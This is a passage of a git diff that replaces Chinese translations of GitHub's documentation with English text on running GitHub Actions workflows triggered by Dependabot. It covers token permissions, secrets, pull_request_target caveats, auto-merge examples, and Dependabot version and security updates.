触发的工作流程将使用只读权限运行"](https://github.blog/changelog/2021-02-19-github-actions-workflows-triggered-by-dependabot-prs-will-run-with-read-only-permissions/)，某些事件的处理是不同的。 +{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently. -对于 {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) 使用 `pull_request`、`pull_request_review`、`pull_request_review_comment` 和 `push` 事件发起的工作流程，适用以下限制： +For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply: -- `GITHUB_TOKEN` 具有只读权限。 -- 密码不可访问。 +- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %} +- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %} -更多信息请参阅“[保持 GitHub Actions 和工作流程安全：阻止 pwn 请求](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)”。 +For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). + +{% ifversion fpt or ghec or ghes > 3.3 %} + +### Changing `GITHUB_TOKEN` permissions + +By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token: + +{% raw %} + +```yaml +name: CI +on: pull_request + +# Set the access for individual scopes, or use permissions: write-all +permissions: + pull-requests: write + issues: write + repository-projects: write + ... + +jobs: + ... +``` + +{% endraw %} + +For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)." + +### Accessing secrets + +When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)". + +{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)." + +If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below. + +To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. In the example below, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used. + +{% raw %} + +```yaml +name: CI +on: + pull_request: + branches: [ main ] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Login to private container registry for dependencies + uses: docker/login-action@v1 + with: + registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com + username: ${{ secrets.READONLY_AWS_ACCESS_KEY_ID }} + password: ${{ secrets.READONLY_AWS_ACCESS_KEY }} + + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) +``` + +{% endraw %} + +{% endif %} + +{% ifversion ghes = 3.3 %} -{% ifversion ghes > 3.2 %} {% note %} **Note:** Your site administrator can override these restrictions for {% data variables.product.product_location %}. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#troubleshooting-failures-when-dependabot-triggers-existing-workflows)." -If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to any secrets that are normally available. In addition, workflows triggered by {% data variables.product.prodname_dependabot %} can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. +If the restrictions are removed, when a workflow is triggered by {% data variables.product.prodname_dependabot %} it will have access to {% data variables.product.prodname_actions %} secrets and can use the `permissions` term to increase the default scope of the `GITHUB_TOKEN` from read-only access. You can ignore the specific steps in the "Handling `pull_request` events" and "Handling `push` events" sections, as it no longer applies. {% endnote %} -{% endif %} -### 处理 `pull_request` 事件 +### Handling `pull_request` events -如果您的工作流程需要访问具有写入权限的密码或 `GITHUB_TOKEN`，则有两个选项：使用 `pull_request_target` 或使用两个单独的工作流程。 我们将在本节中详述使用 `pull_request_target`，以及在 [处理 `push` 事件](#handling-push-events)“中使用下面两个工作流程。 +If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)." -下面是现在可能失败的 `pull_request` 工作流程的简单示例： +Below is a simple example of a `pull_request` workflow that might now be failing: {% raw %} + ```yaml ### This workflow now has no secrets and a read-only token name: Dependabot Workflow @@ -68,17 +136,19 @@ jobs: steps: - uses: actions/checkout@v2 ``` + {% endraw %} -您可以将 `pull_request` 替换为 `pull_request_target`，这用于复刻中的拉取请求，并明确检出拉取请求 `HEAD`。 +You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`. {% warning %} -**警告：**使用 `pull_request_target` 替代 `pull_request` 会使您暴露在不安全的行为中。 我们建议您使用两种工作流程方法，如下面的“[处理 `push` 事件](#handling-push-events)”中所述。 +**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)." {% endwarning %} {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Workflow @@ -99,17 +169,19 @@ jobs: ref: ${{ github.event.pull_request.head.sha }} github-token: ${{ secrets.GITHUB_TOKEN }} ``` + {% endraw %} -还强烈建议您缩小授予 `GITHUB_TOKEN` 的权限范围，以避免泄露具有不必要特权的令牌。 更多信息请参阅“[`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) 的权限”。 +It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." -### 处理 `push` 事件 +### Handling `push` events -因为没有等效于 `push` 事件的 `pull_request_target_` ，因此您必须使用两个工作流程：一个通过上传构件而结束不可信工作流程， 触发第二个下载构件并继续处理的可信任工作流程。 +As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing. -第一个工作流程执行任何不信任的工作： +The first workflow performs any untrusted work: {% raw %} + ```yaml ### This workflow doesn't have access to secrets and has a read-only token name: Dependabot Untrusted Workflow @@ -123,11 +195,13 @@ jobs: steps: - uses: ... ``` + {% endraw %} -第二个工作流程在第一个工作流程成功完成后执行受信任的工作： +The second workflow performs trusted work after the first workflow completes successfully: {% raw %} + ```yaml ### This workflow has access to secrets and a read-write token name: Dependabot Trusted Workflow @@ -147,27 +221,74 @@ jobs: steps: - uses: ... ``` + {% endraw %} -### 手动重新运行工作流程 +{% endif %} -您还可以手动重新运行失败的 Dependabot 工作流程，它将以读写令牌运行并访问密码。 在手动重新运行失败的工作流程之前，您应始终检查更新的依赖项，以确保更改不会引入任何恶意或意外行为。 +### Manually re-running a workflow -## 常用 Dependabot 自动化 +You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior. -以下是可以使用 {% data variables.product.prodname_actions %} 自动化的几个常见场景。 +## Common Dependabot automations -### 获取有关拉取请求的元数据 +Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}. -大量自动化需要了解拉取请求内容的信息：依赖项名称是什么，是否为生产依赖项，以及是否为主要、次要或补丁更新。 +{% ifversion ghes = 3.3 %} -`dependabot/fetch-metadata` 操作为您提供所有这些信息： +{% note %} + +**Note:** If your site administrator has overridden restrictions for {% data variables.product.prodname_dependabot %} on {% data variables.product.product_location %}, you can use `pull_request` instead of `pull_request_target` in the following workflows. + +{% endnote %} + +{% endif %} + +### Fetch metadata about a pull request + +A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update. + +The `dependabot/fetch-metadata` action provides all that information for you: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml -name: Dependabot auto-label +name: Dependabot fetch metadata on: pull_request_target +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + # The following properties are now available: + # - steps.dependabot-metadata.outputs.dependency-names + # - steps.dependabot-metadata.outputs.dependency-type + # - steps.dependabot-metadata.outputs.update-type +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot fetch metadata +on: pull_request + permissions: pull-requests: write issues: write @@ -188,21 +309,59 @@ jobs: # - steps.metadata.outputs.dependency-type # - steps.metadata.outputs.update-type ``` + {% endraw %} -更多信息请参阅 [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) 仓库。 +{% endif %} -### 标记拉取请求 +For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository. -如果您有基于 {% data variables.product.prodname_dotcom %} 标签的其他自动化或分类工作流程，则可以配置操作以根据提供的元数据分配标签。 +### Label a pull request -例如，如果您想用标签标记所有生产依赖项更新： +If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided. + +For example, if you want to flag all production dependency updates with a label: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml name: Dependabot auto-label on: pull_request_target +permissions: + pull-requests: write + issues: write + repository-projects: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Add a label for all production dependencies + if: ${{ steps.dependabot-metadata.outputs.dependency-type == 'direct:production' }} + run: gh pr edit "$PR_URL" --add-label "production" + env: + PR_URL: ${{github.event.pull_request.html_url}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-label +on: pull_request + permissions: pull-requests: write issues: write @@ -224,17 +383,53 @@ jobs: env: PR_URL: ${{github.event.pull_request.html_url}} ``` + {% endraw %} -### 批准拉取请求 +{% endif %} -如果您想要自动批准 Dependabot 拉取请求，您可以在工作流程中使用 {% data variables.product.prodname_cli %}： +### Approve a pull request + +If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml name: Dependabot auto-approve on: pull_request_target +permissions: + pull-requests: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Approve a PR + run: gh pr review --approve "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-approve +on: pull_request + permissions: pull-requests: write @@ -254,19 +449,57 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} -### 在拉取请求上启用自动合并 +{% endif %} -如果您要自动合并拉取请求，可以使用 {% data variables.product.prodname_dotcom %} 的自动合并功能。 这样，当所有所需的测试和批准都成功满足时，拉取请求即可合并。 For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." +### Enable auto-merge on a pull request -这是为所有补丁更新启用自动合并到 `my-dependency` 的示例： +If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." + +Here is an example of enabling auto-merge for all patch updates to `my-dependency`: + +{% ifversion ghes = 3.3 %} {% raw %} + ```yaml name: Dependabot auto-merge on: pull_request_target +permissions: + pull-requests: write + contents: write + +jobs: + dependabot: + runs-on: ubuntu-latest + if: ${{ github.actor == 'dependabot[bot]' }} + steps: + - name: Dependabot metadata + id: dependabot-metadata + uses: dependabot/fetch-metadata@v1.1.1 + with: + github-token: "${{ secrets.GITHUB_TOKEN }}" + - name: Enable auto-merge for Dependabot PRs + if: ${{contains(steps.dependabot-metadata.outputs.dependency-names, 'my-dependency') && steps.dependabot-metadata.outputs.update-type == 'version-update:semver-patch'}} + run: gh pr merge --auto --merge "$PR_URL" + env: + PR_URL: ${{github.event.pull_request.html_url}} + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} +``` + +{% endraw %} + +{% else %} + +{% raw %} + +```yaml +name: Dependabot auto-merge +on: pull_request + permissions: pull-requests: write contents: write @@ -288,15 +521,29 @@ jobs: PR_URL: ${{github.event.pull_request.html_url}} GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} ``` + {% endraw %} -## 失败的工作流程运行故障排除 +{% endif %} -如果您的工作流程运行失败，请检查以下情况： +## Troubleshooting failed workflow runs -- 只有当正确的角色触发工作流程时，才运行工作流程。 -- 您在为 `pull_request` 检出正确的 `ref`。 -- 您没有尝试从 Dependabot 触发的 `pull_request`、`pull_request_review`、`pull_request_review_comment` 或 `push` 事件访问密码。 -- 您没有尝试从 Dependabot 触发的 `pull_request`、`pull_request_review`、`pull_request_review_comment` 或 `push` 事件执行任何 `write` 操作。 +If your workflow run fails, check the following: -有关编写和调试 {% data variables.product.prodname_actions %} 的信息，请参阅“[了解 GitHub Actions](/actions/learn-github-actions)”。 +{% ifversion ghes = 3.3 %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. +- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event. + +{% else %} + +- You are running the workflow only when the correct actor triggers it. +- You are checking out the correct `ref` for your `pull_request`. +- Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets. +- You have a `GITHUB_TOKEN` with the correct permissions. + +{% endif %} + +For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)." diff --git a/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md b/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md index 79ab5293d8..7261cc6b3b 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md @@ -1,6 +1,6 @@ --- -title: 使用 Dependabot 保持操作的最新状态 -intro: '您可以使用 {% data variables.product.prodname_dependabot %} 来确保您使用的操作更新到最新版本。' +title: Keeping your actions up to date with Dependabot +intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the actions you use updated to the latest versions.' redirect_from: - /github/administering-a-repository/keeping-your-actions-up-to-date-with-github-dependabot - /github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot @@ -15,32 +15,32 @@ topics: - Dependabot - Version updates - Actions -shortTitle: 自动更新操作 +shortTitle: Auto-update actions --- {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## 关于操作的 {% data variables.product.prodname_dependabot_version_updates %} - -操作通常使用漏洞修复和新功能进行更新，以使自动化流程更可靠、更快速、更安全。 为 {% data variables.product.prodname_actions %} 启用 {% data variables.product.prodname_dependabot_version_updates %} 时，{% data variables.product.prodname_dependabot %} 将帮助确保仓库 *workflow.yml* 文件中操作的引用保持最新。 对于文件中的每个操作，{% data variables.product.prodname_dependabot %} 根据最新版本检查操作的引用（通常是与操作关联的版本号或提交标识符）。 如果操作有更新的版本，{% data variables.product.prodname_dependabot %} 将向您发送拉取请求，要求将工作流程文件中的引用更新到最新版本。 有关 {% data variables.product.prodname_dependabot_version_updates %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)”。 有关为 {% data variables.product.prodname_actions %} 配置工作流程的更多信息，请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 +## About {% data variables.product.prodname_dependabot_version_updates %} for actions +Actions are often updated with bug fixes and new features to make automated processes more reliable, faster, and safer. When you enable {% data variables.product.prodname_dependabot_version_updates %} for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %} will help ensure that references to actions in a repository's *workflow.yml* file are kept up to date. For each action in the file, {% data variables.product.prodname_dependabot %} checks the action's reference (typically a version number or commit identifier associated with the action) against the latest version. If a more recent version of the action is available, {% data variables.product.prodname_dependabot %} will send you a pull request that updates the reference in the workflow file to the latest version. For more information about {% data variables.product.prodname_dependabot_version_updates %}, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." For more information about configuring workflows for {% data variables.product.prodname_actions %}, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + {% data reusables.actions.workflow-runs-dependabot-note %} -## 为操作启用 {% data variables.product.prodname_dependabot_version_updates %} +## Enabling {% data variables.product.prodname_dependabot_version_updates %} for actions -{% data reusables.dependabot.create-dependabot-yml %} 如果您已经为其他生态系统或包管理器启用 {% data variables.product.prodname_dependabot_version_updates %}，只需打开现有的 *dependabot.yml* 文件。 -1. 将 `"github-actions"` 指定为要监控的 `package-ecosystem`。 -1. 将 `directory` 设置为 `"/"` 以检查 `.github/workflows` 中的工作流程文件。 -1. 设置 `schedule.interval` 指定检查新版本的频率。 -{% data reusables.dependabot.check-in-dependabot-yml %} 如果已编辑现有文件，请保存所做的更改。 +{% data reusables.dependabot.create-dependabot-yml %} If you have already enabled {% data variables.product.prodname_dependabot_version_updates %} for other ecosystems or package managers, simply open the existing *dependabot.yml* file. +1. Specify `"github-actions"` as a `package-ecosystem` to monitor. +1. Set the `directory` to `"/"` to check for workflow files in `.github/workflows`. +1. Set a `schedule.interval` to specify how often to check for new versions. +{% data reusables.dependabot.check-in-dependabot-yml %} If you have edited an existing file, save your changes. -您也可以在复刻上启用 {% data variables.product.prodname_dependabot_version_updates %}。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-version-updates-on-forks)." +You can also enable {% data variables.product.prodname_dependabot_version_updates %} on forks. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-version-updates-on-forks)." -### 例如用于 {% data variables.product.prodname_actions %} 的 *dependabot.yml* 文件 +### Example *dependabot.yml* file for {% data variables.product.prodname_actions %} -下面的示例 *dependabot.yml* 文件配置为 {% data variables.product.prodname_actions %} 的版本更新。 `directory` 必须设置为 `"/"` 才可检查 `.github/workflows` 中的工作流程文件。 `schedule.interval` 设置为 `"daily"`。 在该文件被检入或更新后，{% data variables.product.prodname_dependabot %} 将检查您的操作的新版本。 {% data variables.product.prodname_dependabot %} 在发现任何过时的操作时，将会提出版本更新的拉取请求。 在初始版本更新后， {% data variables.product.prodname_dependabot %} 将继续每天检查一次过时的操作。 +The example *dependabot.yml* file below configures version updates for {% data variables.product.prodname_actions %}. The `directory` must be set to `"/"` to check for workflow files in `.github/workflows`. The `schedule.interval` is set to `"daily"`. After this file has been checked in or updated, {% data variables.product.prodname_dependabot %} checks for new versions of your actions. {% data variables.product.prodname_dependabot %} will raise pull requests for version updates for any outdated actions that it finds. After the initial version updates, {% data variables.product.prodname_dependabot %} will continue to check for outdated versions of actions once a day. ```yaml # Set update schedule for GitHub Actions @@ -55,10 +55,10 @@ updates: interval: "daily" ``` -## 为操作配置 {% data variables.product.prodname_dependabot_version_updates %} +## Configuring {% data variables.product.prodname_dependabot_version_updates %} for actions -为操作启用 {% data variables.product.prodname_dependabot_version_updates %} 时，必须指定 `package-ecosystem`、`directory` 和 `schedule.interval` 的值。 您可以设置更多可选属性来进一步自定义版本更新。 更多信息请参阅“[依赖项更新的配置选项](/github/administering-a-repository/configuration-options-for-dependency-updates)。” +When enabling {% data variables.product.prodname_dependabot_version_updates %} for actions, you must specify values for `package-ecosystem`, `directory`, and `schedule.interval`. There are many more optional properties that you can set to further customize your version updates. For more information, see "[Configuration options for dependency updates](/github/administering-a-repository/configuration-options-for-dependency-updates)." -## 延伸阅读 +## Further reading -- "[关于 GitHub Actions](/actions/getting-started-with-github-actions/about-github-actions)" +- "[About GitHub Actions](/actions/getting-started-with-github-actions/about-github-actions)" diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md index 1359ccf52a..4a20954bbf 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md @@ -20,7 +20,6 @@ topics: - Dependencies shortTitle: Dependabot alerts --- - ## About vulnerable dependencies @@ -50,7 +49,7 @@ For a list of the ecosystems that {% data variables.product.product_name %} can {% endnote %} -## {% data variables.product.prodname_dependabot %} alerts for vulnerable dependencies +## {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies {% data reusables.repositories.enable-security-alerts %} @@ -75,7 +74,7 @@ For repositories where {% data variables.product.prodname_dependabot_security_up {% endwarning %} -## Access to {% data variables.product.prodname_dependabot %} alerts +## Access to {% data variables.product.prodname_dependabot_alerts %} You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md index a2d6b2efc7..b283a4b5e0 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md @@ -1,7 +1,7 @@ --- -title: 关于 Dependabot 安全更新 -intro: '{% data variables.product.prodname_dependabot %} 可通过提出安全更新拉取请求为您修复有漏洞依赖项。' -shortTitle: Dependabot 安全更新 +title: About Dependabot security updates +intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.' +shortTitle: Dependabot security updates redirect_from: - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates - /github/managing-security-vulnerabilities/about-dependabot-security-updates @@ -25,42 +25,42 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## 关于 {% data variables.product.prodname_dependabot_security_updates %} +## About {% data variables.product.prodname_dependabot_security_updates %} -{% data variables.product.prodname_dependabot_security_updates %} 使您更容易修复仓库中的有漏洞依赖项。 如果启用此功能，当 {% data variables.product.prodname_dependabot %} 针对仓库依赖关系图中的有漏洞依赖项发出警报时，{% data variables.product.prodname_dependabot %} 将自动尝试修复它。 更多信息请参阅“[关于漏洞依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”和“[配置 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)”。 +{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." -{% data variables.product.prodname_dotcom %} 可能会向受最近发布的 {% data variables.product.prodname_dotcom %} 安全通告披露的漏洞影响的仓库发送 {% data variables.product.prodname_dependabot %} 警报。 {% data reusables.security-advisory.link-browsing-advisory-db %} +{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} -{% data variables.product.prodname_dependabot %} 将检查是否可以在不破坏仓库依赖关系图的情况下将有漏洞依赖项升级到已修复版本。 然后，{% data variables.product.prodname_dependabot %} 提出拉取请求以将依赖项更新到包含补丁的最低版本，并将拉取请求链接到 {% data variables.product.prodname_dependabot %} 警报，或者在警报中报告错误。 更多信息请参阅“[排查 {% data variables.product.prodname_dependabot %} 错误](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)”。 +{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." {% note %} -**注** +**Note** -{% data variables.product.prodname_dependabot_security_updates %} 功能适用于已启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %} 的仓库。 您将在完整的依赖关系图中看到针对已发现的每个有漏洞依赖项的 {% data variables.product.prodname_dependabot %} 警报。 但是，安全更新仅针对清单或锁定文件中指定的依赖项而触发。 {% data variables.product.prodname_dependabot %} 无法更新未明确定义的间接或过渡依赖项。 更多信息请参阅“[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)”。 +The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency that is not explicitly defined. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)." {% endnote %} -您可以启用相关功能 {% data variables.product.prodname_dependabot_version_updates %}，这样无论 {% data variables.product.prodname_dependabot %} 是否检测到过期的依赖项，都可以提出拉取请求，以将清单更新到依赖项的最新版本。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot %} 版本更新](/github/administering-a-repository/about-dependabot-version-updates)”。 +You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)." {% data reusables.dependabot.pull-request-security-vs-version-updates %} -## 关于安全更新的拉取请求 +## About pull requests for security updates -每个拉取请求都包含快速、安全地查看提议的修复程序并将其合并到项目中所需的全部内容。 这包括漏洞的相关信息，如发行说明、变更日志条目和提交详细信息。 无法访问仓库的 {% data variables.product.prodname_dependabot_alerts %} 的任何人都看不到拉取请求所解决的漏洞详细信息。 +Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from 